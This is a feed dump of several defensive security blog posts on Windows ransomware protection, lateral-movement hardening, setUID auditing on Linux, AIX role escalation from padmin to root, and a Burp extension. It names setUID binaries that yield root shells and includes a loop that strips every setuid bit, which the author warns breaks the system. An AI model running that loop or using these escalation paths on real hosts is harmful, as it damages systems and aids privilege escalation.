In this article, you have seen a few more settings that can be used to configure to reduce the surface area of attack and improve the security of the SQL Server following good practices and the CIS Security Benchmark.

You can audit manually looking at SQL Server Management Studio and SQL Server Configuration Manager. You can also create a query that will read the catalog information for the databases and the registry to gather the information about the server instance.

The post MS SQL Server audit: Surface area reduction (part 2) appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/blog/ms-sql-server-audit-surface-area-reduction-part-2/feed/ 0
Windows 10’s “Controlled Folder Access” feature https://labs.portcullis.co.uk/blog/windows-10s-controlled-folder-access-feature/ https://labs.portcullis.co.uk/blog/windows-10s-controlled-folder-access-feature/#comments Thu, 16 Nov 2017 09:44:52 +0000 https://labs.portcullis.co.uk/?p=6110 Microsoft released a rolling upgrade of Windows 10 in October 2017. The “Fall Creators” edition (version 1709, codename Redstone 3) contains a new feature called “Controlled Folder Access”, which is designed to combat ransomware attacks. Controlled Folder Access is part of Windows Defender Security Centre that works with Windows Defender Anti-Virus to prevent “suspicious” executable […]

The post Windows 10’s “Controlled Folder Access” feature appeared first on Portcullis Labs.

]]>
Microsoft released a rolling upgrade of Windows 10 in October 2017. The “Fall Creators” edition (version 1709, codename Redstone 3) contains a new feature called “Controlled Folder Access”, which is designed to combat ransomware attacks.

Controlled Folder Access is part of Windows Defender Security Centre that works with Windows Defender Anti-Virus to prevent “suspicious” executable files, DLLs, and scripts from writing to (or encrypting) files within certain folders.

What folders are protected?

While additional folders can be added, the following locations will always be monitored when Controlled Folder Access is enabled:

  • User: Documents, Pictures, Videos, Music, Desktop, Favorites
  • Public: Documents, Pictures, Videos, Music, Desktop

How does Windows determine what `suspicious’ code is?

It’s what Windows Defender Anti-Virus identifies. As such Controlled Folder Access relies on Windows Defender Anti-Virus to be running.

What about application false positives?

It may be the case that legitimate applications are incorrectly flagged by Windows Defender Anti-Virus as being `suspicious’ preventing or hindering legitimate use. Such applications can be white-listed.

To facilitate this, Controlled Folder Access supports an `audit’ mode, where an event is generated when the application would normally be prevented from writing to a protected folder. Those events can be reviewed to identify legitimate applications that can be added to the white-list.

Is Controlled Folder Access enabled by default? How do I configure it?

Controlled Folder Access is not enabled by default and can be configured via:

  • The User Interface
  • Group Policy (a Group Policy would need to be configured on a system that contains the correct administrative templates for the options to be available for selection): Computer Configuration > Administrative Templates > Windows Components > Windows Defender Anti-Virus > Windows Defender Exploit Guard > Controlled Folder Access
  • Manual Registry modification (i.e. via a script)
  • PowerShell cmdlets:
Set-MpPreference -EnableControlledFolderAccess [Enable | Disable | Audit]
Add-MpPreference -ControlledFolderAccessProtectedFolders c:\path\to\protect,c:\other\path
Remove-MpPreference -ControlledFolderAccessProtectedFolders c:\path\to\no\longer\protect

Note: Set-MpPreference can also be used to specify folder items but will clear the list first, whereas Add-MpPreference adds to the list.

What Registry keys are used by Controlled Folder Access?

Is Controlled Folder Access enabled?

Registry path: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exploit Guard\Controlled Folder Access
Registry Key: GuardMyFolders
Key Type: REG_DWORD
Key Value: 0

Protected Folders

Registry path: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exploit Guard\Controlled Folder Access\ProtectedFolders
Registry Key: audit
Key Type: REG_DWORD
Key Value: 0

To specify protected folders:

Registry path: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exploit Guard\Controlled Folder Access\ProtectedFolders
Registry Key: Full path to protect, i.e. c:\test
Key Type: REG_DWORD
Key Value: 0</code>

What can be protected? Any limitations?

Network shares and mapped drives can be protected, but Controlled Folder Access does not support the use of:

  • Environment Variables
  • Wildcards
  • The Windows drive (typically C:\)

Seriously, don’t protect the entire Windows drive as Windows will be unable to function correctly and strange behaviour will result.

What happens when write access is blocked?

A notification is displayed that provides the path of the executable that was blocked, and the path of protected folder that the write attempt was for. This information is also recorded in the event log, using the following event values:

  • Event ID: 5007: Event when settings are changed
  • Event ID: 1124: Audited Controlled folder access event
  • Event ID: 1123: Blocked Controlled folder access event

The following image shows the notification of a write action being blocked:

Blocked write access notification
image-6111

Can the blocked write notification message be customised?

Yes, at least for Enterprise environments. Providing details of who to contact (service desk, IT Security, etc.) can be included in the notification message via the following Group Policy settings:

Computer Configuration > Policies > Adminstrative Templates > Windows Components > Windows Defender Security Center > Enterprise Customization
  •  Set “Configure customized contact information” to “Enabled”
  •  Set “Configure customized notifications” to “Enabled”
  •  Set “Specify contact compant name” to “Enabled” and add the company details
  •  Enable and set at least one of the following:
    • “Specify contact email address or EmailID”
    • “Specify contact phone number or Skype ID”
    • “Specify contact web site”

Does Controlled Folder Access work with third-party Anti-Virus applications?

No, or at least not in the tests performed when writing this post. Controlled Folder Access requires the use of Windows Defender Anti-Virus to be active.

Most third-party Anti-Virus solutions replace existing products, and attempting to run multiple Anti-Virus solutions at the same time can significantly hinder system performance, or even lead to each one preventing the other from being able to scan files or removable drives which could lower protections. One Anti-Virus program might flag others as being infected (i.e. triggering on the detection patterns) or malicious, and quarantine key files – potentially breaking that product.

How can I tell Controlled Folder Access and Notifications are configured and working?

Microsoft have produced an ExploitGuard CFA File Creator tool to trigger Controlled Folder Access actions, which causes notifications to be displayed.

Details on the ExploitGuard CFA Demo Tool, and a link to download it, can be found on Microsoft’s web site.

Conclusion

For home users or business that do not have a corporate Anti-Virus solution, Windows Defender Anti-Virus and Controlled Folder Access will be better than nothing.
However, larger businesses typically have existing enterprise-wide Anti-Virus solutions in which significant time and effort (and money) has been invested. It would be difficult to convince the IT Security teams of such companies to throw out that investment, so I don’t expect Controlled Folder Access to be used much in large businesses.

Controlled Folder Access is a new feature, and it may be that Microsoft modify it to work with third-party Anti-Virus products in the future.

The post Windows 10’s “Controlled Folder Access” feature appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/blog/windows-10s-controlled-folder-access-feature/feed/ 0
Hindering Lateral Movement https://labs.portcullis.co.uk/blog/hindering-lateral-movement/ https://labs.portcullis.co.uk/blog/hindering-lateral-movement/#comments Fri, 27 Oct 2017 12:53:52 +0000 https://labs.portcullis.co.uk/?p=6092 Lateral Movement is a method used by attackers (or malware) against a network Domain. After an initial device is compromised (typically, a user’s workstation), the attacker extracts passwords from memory, or obtains encrypted password hashes from the system for cracking or direct use (i.e. Pass the Hash). The attacker then attempts to login to other […]

The post Hindering Lateral Movement appeared first on Portcullis Labs.

]]>
Lateral Movement is a method used by attackers (or malware) against a network Domain. After an initial device is compromised (typically, a user’s workstation), the attacker extracts passwords from memory, or obtains encrypted password hashes from the system for cracking or direct use (i.e. Pass the Hash). The attacker then attempts to login to other systems using those credentials to search for cached passwords of privileged Domain accounts. Usually, the local Administrator account is targeted as the password is often the same on all systems (due to the common practice of deploying systems from a master image), but service accounts, etc. can also be targeted.

In some cases, an attacker is able to move from having local Administrator access on a workstation to gaining full Domain Admin rights on the Domain in under an hour.

Since Active Directory typically controls access to highly sensitive information, it is important to try and prevent lateral attacks from working. Being able to spot these attacks would also be good.

Limit workstation to workstation communications

It is highly unusual for network users to need to directly communicate with other users’ workstations.

Configure each workstation to use a local firewall to block incoming Windows network traffic (139/TCP, 445/TCP and 137/UDP) from any workstation subnet.

If using a firewall that supports different network zones (such as the Windows Firewall), ensure the appropriate zone profiles are configured, or simply configure all profiles. If your organisation uses VoIP telephones, prevent those subnets from connecting as well to protect against either a malicious internal employee, or in case the attacker is able to convince a user to try changing network connections.

Prevent local users from logging in over the network

If an attacker finds that they cannot directly connect to other workstations to hunt for privileged cached credentials, they may attempt to compromise a server and try to login to workstations from there. To protect against this, configure the User Rights policy ‘Deny access to this computer from the network’ by adding local user accounts.

Use a local Administrator password management tool

Tools, such as Microsoft LAPS, exist that set unique passwords for the local administrator account. By using such tools, when a password exceeds its expiration date the password will be changed automatically when the Group Policy is refreshed. Avoid writing a custom password management system, as it is very difficult to implement such things without error; if an attacker is able to determine a pattern to setting the password, then that defence is gone.

Configure systems via Group Policy

To reduce the risk of credentials being captured, avoid logging into systems where not necessary. Use Group Policies to configure workstations and servers instead of directly logging into them, where possible. Systems may be configured to cache credentials when users login, and this information can be obtained by an attacker and then cracked offline to reveal the plain text password for that user account. If an attacker already has a foothold on a system and a Domain Administrator logs in, the attacker may be able to impersonate the Domain Administrator in order to utilise their privileges within the network Domain.

Use dedicated administrative accounts and workstations

An attacker can only extract privileged password data if it is present on the system. Ensure administrative users have user accounts that are separate from their day-to-day user accounts and configure them so that they cannot login to normal workstations or servers; they should only be used to login to Active Directory servers to manage them, and configure Group Policies to manage other systems.

Dedicated management workstations should not be able to access the Internet or email.

Disable ‘WDigest’

Windows supports several Security Support Providers (SSPs), used to handle authentication requests (including Single Sign On). Until recently (Window 8.1 and Server 2012 R2 or higher), Windows used by default an SSP called ‘WDigest’ – which stored user credentials in plain text in memory, allowing a process with local Administrator privileges to extract the passwords of all logged-in users.

To help address this issue, Microsoft created a new Registry key for ‘WDigest’ to disable storing plain text passwords, which can be applied to Windows, prior to 8.1 and Server 2012 R2 by installing KB2871997 and configuring the following Registry setting:

Registry Path: HKLM\System\CurrentControlSet\Control\SecurityProviders\Wdigest
Key Name: UseLogonCredential
Key Type: REG_DWORD
Key Value: 0

Alternatively, KB2871997 can be configured via Group Policy by installing the PtH.admx/adml files provided with the Microsoft Security Compliance Manager (SCM) via:

Local Policies > Administrative Templates > SCM: Pass the Hash Mitigations > Wdigest Authentication

Apply enhanced credentials protection updates

In addition to the protections added by KB2871997, Microsoft have released an updated that further protects against Pass the Hash (PtH) attacks for Windows 7, Windows 8, Server 2008 R2 and Server 2012.

KB3126593 (MS16-014)

This update adds support for the TokenLeakDetectDelaySecs Registry setting which can be used to force credentials to be cleared after a user logs off. To set clearing credentials 30 seconds after user logout (the default behaviour in Windows 8.1 and Windows 10), configure the following Registry setting:

Registry Path: HKLM\System\CurrentControlSet\Control\Lsa
Key Name: TokenLeakDetectDelaySecs
Key Type: REG_DWORD
Key Value: 30

Upgrade Windows servers and workstations

With each new version of Windows, Microsoft adds additional security features, including protections for the LSASS service to protect against credential stealing and adding additional logging options. Upgrade servers to Server 2016 and upgrade workstations to Windows 10 and configure them to make use of these new features.

Enable event monitoring and investigate alerts

A centralised logging and monitoring solution provides an opportunity for recording actions and events that take place on systems, and prevents a successful attacker from clearing the event log to hide their actions.

Configure all Windows systems to log events to a centralised system and monitor for account login attempts (both successful and unsuccessful).
Any events that reference local accounts (or Domain Administrator/privileged accounts) and not Domain accounts should be investigated as a matter of priority.

The following Windows event codes are generated by Windows 2008 and later:

  • Event ID: 4624: Account login successful
  • Event ID: 4625: Account login failed

The corresponding events for Windows 2003 and earlier:

  • Event ID: 528: Account login successful
  • Event ID: 540: Network account login successful
  • Event ID: 529: Login failure – Unknown user or bad password

Other potentially interesting event code are:

  • Event ID: 4625: An account failed to login (Windows 2008 and later)
  • Event ID: 531: Login failure – Account currently disabled (Windows 2003 and earlier)

Conclusion

A number of options have been presented to hinder Lateral Movement attacks, and some readers might be wondering which option to implement. The answer is “all of them, where possible”. Security is a “defence in depth” game, and every obstacle that an attacker has to work around is worth implementing.

In addition to hindering lateral movement, monitoring for attacks or suspicious behaviour and investigating alerts will help identify more sophisticated attacks, as well as indicating that suspicious activities are occurring.

A Red Team Assessment can be undertaken to determine the effectiveness of the security controls in place during an attack against your network. Whilst the assessment is taking place it also provides an opportunity to determine whether the internal monitoring and response capabilities intended to detect and alert when a potential attack is occurring within your network are effective. Following completion of the assessment you will have a clear view of any additional measures that should be implemented to improve both defence and monitoring capabilities within your network.

The post Hindering Lateral Movement appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/blog/hindering-lateral-movement/feed/ 0
UNIX and Linux setUID advice and guidance https://labs.portcullis.co.uk/blog/unix-and-linux-setuid-advice-and-guidance/ https://labs.portcullis.co.uk/blog/unix-and-linux-setuid-advice-and-guidance/#comments Fri, 16 Jun 2017 14:41:53 +0000 https://labs.portcullis.co.uk/?p=5793 It is a topic that often comes up on client engagements, usually when running structured build reviews of Linux “gold builds”, but occasionally when trying to explain in detail how we used a Linux system to pivot internally. SetUID and setGID files are inevitably a risk, potentially allowing attackers to elevate privileges to root from […]

The post UNIX and Linux setUID advice and guidance appeared first on Portcullis Labs.

]]>
It is a topic that often comes up on client engagements, usually when running structured build reviews of Linux “gold builds”, but occasionally when trying to explain in detail how we used a Linux system to pivot internally.

SetUID and setGID files are inevitably a risk, potentially allowing attackers to elevate privileges to root from a basic user. When shared out on SMB or NFS shares they can spread the risk even further.

One good approach would be:

“The only good setUID is a chmod -s setuid” i.e. deactivate this particular functionality.

However, sysadmins may (understandably) get a bit wobbly when we suggest this and come up with a number of fairly valid reasons why this is tricky. They have a point to some extent, but this is 2017 and we should be biting some of these bullets.

Yes, reducing the risk in this area is tough, but it is in fact a good start in defining least privilege security controls. You can learn how little or how much power individual users require and manage this accordingly. You can also test your changes before rolling them out and sanity check the advice given.

At the very least we need a list of files that should not be setUID that we can give to sysadmins and, with confidence, recommend removing or changing the permissions. A pragmatic strategy for mitigating the risks incurred would also be good.

So what are they?

SetUID/setGID bits are file permissions set on binary files when we need them to run with the permissions of the owner (setUID) or the group (setGID) that owns the file, usually a root or equivalent user. Historically this functionality was entrenched in UNIX and Linux and was necessary, up to a point, for a system to function as intended.

Many vendors are now working toward eliminating the requirement for these permissions and UNIX based systems can be configured, with some care, not to use them.

We potentially have 3 categories of setUID and setGID files:

The “naughty” list

  • May have become setUID by accident, installation of third-party software, malicious activity or sloppy coding and should almost certainly not be allowed
  • tar, find, vi, etc
  • Likely high risk to get root easily
  • Epic fail -rwsrw-rw- More common than you would think
  • Vendor supplied software often a culprit

The “remove” list

  • Redundant, legacy or not really required to be setUID
  • rcp, arping, etc
  • Likely low risk but should be easy to remove

The “allowed” list

  • OS may fail to function as expected if setUID is removed without care
  • For example passwd, sudo
  • Should be mitigated to minimise risks
  • Many can be reclassified as 2 above and have the setUID bit removed

We report on categories 1 (naughty) and 2 (remove) scoring appropriate to the risk and ease of exploitation. We report on 3 (allowed) with recommendations to mitigate.

For example, a setUID on the find command (or any shell command with abilities to run other programs or shells) would be a high risk vulnerability allowing regular users to become root fairly easily.

How to deal with these issues?

The approach to recommend to customers:

  1. Audit – find all setUID and setGID files on the system locally and on all filesystems not mounted nosetuid
  2. Validate – elfsign and cross checks against vendor checksums
  3. Eliminate where possible – uninstall, chmod -s or rm
  4. Mitigate where necessary – FIM, auditing, remote logging, mount NAS nosetuid

This applies primarily to common Linux distributions. Solaris and AIX for example may have slightly different filenames and locations, but similar principles apply.

The ubiquitous sudo or other equivalent tools can be used to configure fine grained privilege management without the requirement for setUID permissions. Your version of sudo must be up to date, the sudoers configuration files must be secure and have a strictly limited set of commands allowed per user or group.

Customers need to consider how the remediation and mitigation steps fit within their overall strategies for user and privilege management alongside local and remote file permissions.

For example:

Do they have a good FIM solution and can they utilise remote logging as a mitigation? Do they wish to work at the standard build level and have a hardened standard build? If so, then maybe they’re in the right place to look at removing these permissions?

In particular File Integrity Monitoring, which should focus on the most vulnerable files on a system, should track any changes to the files with the setUID/setGID bit set. Any changes should be audited and remotely logged to ensure that an attacker cannot cover their tracks.

Other mitigation techniques include SELinux and other RBAC mechanisms on Linux, Trusted Execution and Trusted Computing Base on AIX and RBAC on Solaris.

More recent Linux kernels (starting 2.6.26) can make use of capabilities which provide fine-grained control over superuser permissions, allowing use of the root user to be avoided.

Sysadmins need some encouragement and support in both remediation and mitigation. If something unexpected does not work upon removing a setUID file permission, it is important to try to use that as a learning experience and a consequence of taking least privilege as far as possible.

At the very least tighten up your sudo configuration and remove as many setUIDs as you can.

Finding setUID and setGID files

# find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \;

Example output:

Here is a setUID file:

-rws--x--x. 1 root root 23960 Sep 23  2016 /usr/bin/chfn

And here is a setGID file:

-r-xr-sr-x. 1 root tty 15392 May  4  2014 /usr/bin/wall

Just for fun

Snapshot a VM of your favourite Linux distro and run the following command (this will break your system in odd ways, so never do it to a production system) and run the following commands:

# find / -type f -perm -u+s -exec ls -l {} \; |awk '{print $NF}'|grep -v proc &amp;gt; /var/tmp/setUID.lst
# find / -type f -perm -g+s -exec ls -l {} \; |awk '{print $NF}'|grep -v proc &amp;gt; /var/tmp/setGID.lst
# for a in `cat /var/tmp/setUID.lst`; do chmod u-s $a; done
# for a in `cat /var/tmp/setGID.lst`; do chmod g-s $a; done

See what breaks.

You can revert to the snapshot if your nerve does not hold.

You should be able to reboot the machine and log in as a normal user. After that you will discover the limitations you have imposed upon yourself and the operating system.

The lists (mid 2017) which are not exhaustive

N.B. PATHs to the files may vary…

The “naughty” list

  • /usr/bin/awk
  • /bin/tar
  • /usr/bin/python
  • /usr/bin/script
  • /usr/bin/man
  • /usr/bin/ssh
  • /usr/bin/scp
  • /usr/bin/git
  • /usr/bin/find
  • /usr/bin/gdb
  • /usr/bin/pico
  • /usr/bin/nano
  • /usr/bin/zip
  • /usr/bin/vi
  • /usr/sbin/lsof
  • /bin/cat
  • /usr/bin/vim
  • /usr/bin/gvim

The point with this list is that they should not really be setUID or setGID and they all have command options that could spawn a shell or otherwise engage in mischief.

The “remove” list

  • /usr/bin/rcp
  • /usr/bin/rlogin
  • /usr/bin/rsh
  • /usr/libexec/openssh/ssh-keysign
  • /usr/lib/openssh/ssh-keysign
  • /sbin/netreport
  • /usr/sbin/usernetctl
  • /usr/sbin/userisdnctl
  • /usr/sbin/pppd
  • /usr/bin/lockfile
  • /usr/bin/mail-lock
  • /usr/bin/mail-unlock
  • /usr/bin/mail-touchlock
  • /usr/bin/dotlockfile
  • /usr/bin/arping
  • /usr/sbin/uuidd
  • /usr/bin/mtr
  • /usr/lib/evolution/camel-lock-helper-1.2
  • /usr/lib/pt_chown
  • /usr/lib/eject/dmcrypt-get-device
  • /usr/lib/mc/cons.saver

Consider removing as a good mitigation strategy.

Here’s some others that are usually installed setUID, however, on a hardened system they can usually have their setUID/setGID bits removed:

  • /bin/mount
  • /bin/umount
  • /usr/bin/at
  • /usr/bin/newgrp
  • /usr/bin/ssh-agent
  • /sbin/mount.nfs
  • /sbin/umount.nfs
  • /sbin/mount.nfs4
  • /sbin/umount.nfs4
  • /usr/bin/crontab
  • /usr/bin/wall
  • /usr/bin/write
  • /usr/bin/screen
  • /usr/bin/mlocate
  • /usr/bin/chage
  • /usr/bin/chfn
  • /usr/bin/chsh
  • /bin/fusermount
  • /usr/bin/Xorg
  • /usr/bin/X
  • /usr/lib/dbus-1.0/dbus-daemon-launch-helper
  • /usr/lib/vte/gnome-pty-helper
  • /usr/lib/libvte9/gnome-pty-helper
  • /usr/lib/libvte-2.90-9/gnome-pty-helper

The “allowed” list

  • /bin/ping
  • /bin/su
  • /sbin/pam_timestamp_check
  • /sbin/unix_chkpwd
  • /usr/bin/gpasswd
  • /usr/bin/locate
  • /usr/bin/passwd
  • /usr/libexec/utempter/utempter
  • /usr/sbin/lockdev
  • /usr/sbin/sendmail.sendmail
  • /usr/bin/expiry
  • /bin/ping6
  • /usr/bin/traceroute6.iputils
  • /usr/bin/pkexec
  • /usr/bin/sudo
  • /usr/bin/sudoedit
  • /usr/sbin/postdrop
  • /usr/sbin/postqueue
  • /usr/sbin/suexec
  • /usr/lib/squid/ncsa_auth
  • /usr/lib/squid/pam_auth
  • /usr/kerberos/bin/ksu
  • /usr/sbin/ccreds_validate

Final words

It’s worth noting that we know these lists won’t work for everyone; systems are complex and behaviour is intertwined. That said, no matter what your opinion on the necessity or otherwise of a setUID/setGID bit on a given file, we’d like to think the approach of knowing which files have the setUID/setGID bit and why is something we can all get on board with.

Some good references

The post UNIX and Linux setUID advice and guidance appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/blog/unix-and-linux-setuid-advice-and-guidance/feed/ 0
padmin to root: Roles on AIX https://labs.portcullis.co.uk/blog/padmin-to-root-roles-on-aix/ https://labs.portcullis.co.uk/blog/padmin-to-root-roles-on-aix/#comments Fri, 02 Oct 2015 14:47:26 +0000 https://labs.portcullis.co.uk/?p=5255 Following a recent post from a consultant at IBM discussing how how privileged access should be performed on VIOS, I figured it was time to share some of our research in this arena. Those of you that are regular readers will know that I love root. For those of you that are new, welcome aboard. […]

The post padmin to root: Roles on AIX appeared first on Portcullis Labs.

]]>
Following a recent post from a consultant at IBM discussing how how privileged access should be performed on VIOS, I figured it was time to share some of our research in this arena. Those of you that are regular readers will know that I love root. For those of you that are new, welcome aboard.

Let’s start by defining what VIOS is. VIOS is a subsystem that runs on a logical partition (LPAR) which manages shared hardware such as disks and network adaptors and allows other LPARs to access them. VIOS is managed via a special padmin account which gives access to a restricted shell from where the hardware can be managed. In practice, however it’s just another AIX LPAR and as the blog post from IBM notes, setup_oem_env can be used to move from the padmin user to the root user.

Firstly, note that setup_oem_env is not setUID. So how does it work? Examining the padmin user we see that it has a single role (PAdmin):

The membership of a role is determined by /etc/security/user but we can examine a specific use using the rolelist command like so:

$ rolelist -u padmin
PAdmin

You can also find your current active role using the -e flag to rolelist. Moving on, what does the PAdmin role mean?

Roles are defined in /etc/security/role but as with role membership, we can also use shell commands to enumerate them. For example, the following shows what authorisations the PAdmin role has:

$ lsrole PAdmin
PAdmin
authorizations=vios.device,vios.fs,vios.install,vios.lvm,vios.network,vios.security,vios.system,vios.oemsetupenv,vios.system.cluster,aix.system.config.artex
rolelist= groups=staff visibility=1 screens=* dfltmsg= msgcat= auth_mode=INVOKER
id=23

In the context of getting root, vios.oemsetupenv is the charm. This and other AIX authorisations are defined in /etc/security/privcmds. It is possible to specify what commands the possessor of the vios.oemsetupenv authorisation can run (and indeed the privileges with which those commands will ultimately be executed).

You see, AIX like Solaris, is gradually getting rid of the concept that uid=0 is god. IBM haven’t taken this as far as Oracle yet but there’s nothing to stop a dedicated administrator from leveraging this functionality. So, if you’re auditing an AIX box, I would very much recommend checking what roles users have (via /etc/security/user) to ensure that no appropriate roles have been assigned.

PS I’ve never seen this used in practice (outside of VIOS), but I’m sure there will be a first time.
PPS rolelist -p will tell you what roles a given process has.
PPPS esaadmin has the SysConfig role but it’s not normally an active account.

The post padmin to root: Roles on AIX appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/blog/padmin-to-root-roles-on-aix/feed/ 0
Burp Extension https://labs.portcullis.co.uk/blog/burp-extension/ https://labs.portcullis.co.uk/blog/burp-extension/#comments Wed, 26 Aug 2015 12:09:36 +0000 https://labs.portcullis.co.uk/?p=5225 At Portcullis, one of the more frequent assessments we perform are web application assessments. One of the main challenges we face during these assessments is to look for information that can either help escalate our privileges or allow us to gain access to different functionalities of the web application. Unauthorised access to functionality can often […]

The post Burp Extension appeared first on Portcullis Labs.

]]>
At Portcullis, one of the more frequent assessments we perform are web application assessments. One of the main challenges we face during these assessments is to look for information that can either help escalate our privileges or allow us to gain access to different functionalities of the web application. Unauthorised access to functionality can often be considered an issue however, testing for this can also lead to information about the type of web server an application is running on, the underlying host and its version.

To check whether an application is out-of-date or is there are any known vulnerabilities associated with said version we must first obtain the server and version information. This can often prove time consuming and can be subject to human error. To improve effectiveness and reduce occurrence of human error we developed a BurpSuite extension that checks whether the server discloses any information within the response headers and automatically adds the issue to an issues list.

In addition to checking for disclosed information, the extension with also make a request to the web server’s main page for the latest version and compare this to the application in question to confirm that the application in question is the most up to date available. The most common web servers, and some others, are already bundled with the extension. However, the extension also provides a configuration tab in which the headers that are checked for information disclosure can be modified, removed or added. This also applies to the software, URLs and REGEX used to access the latest versions.

BURPEXTENSION
image-5226

In the above image, you will see that there are two other pieces of functionality bundled with the extension. The first, following the same line of enquiry as the previous (checking the server’s response headers), the extension is also able to check for missing security headers. As before, whilst most of the security headers are already bundled with the extension, it is possible to add more/alternative headers to be check for. Additionally, there is an option to add an informational issue if any of the security headers are found.

The second functionality is a default burp state restorer. Following good practice, a new assessment would start with a clean burp state. To improve efficiency, instead of repeatedly loading the same path state, you can use the extension to load a state file from any chosen path. This will save you at least 4 clicks and you won’t forget to configure anything when starting burp.

Finally, the last piece of functionality provided by the extension is a new tab on the request and response editor window that parses a JSON object and prints it with indentation, making it easier to read. This will prove useful when dealing with web services or AJAX requests with JSON responses.

It should be noted that when reporting the information disclosure and the missing headers issues, only one issue is reported per host. In cases where different finding appear in later responses, further issues will be added with the new findings.

The source code of the application can be found at : https://github.com/eonlight/BurpExtenderHeaderChecks

This blog post was written by Ruben

The post Burp Extension appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/blog/burp-extension/feed/ 0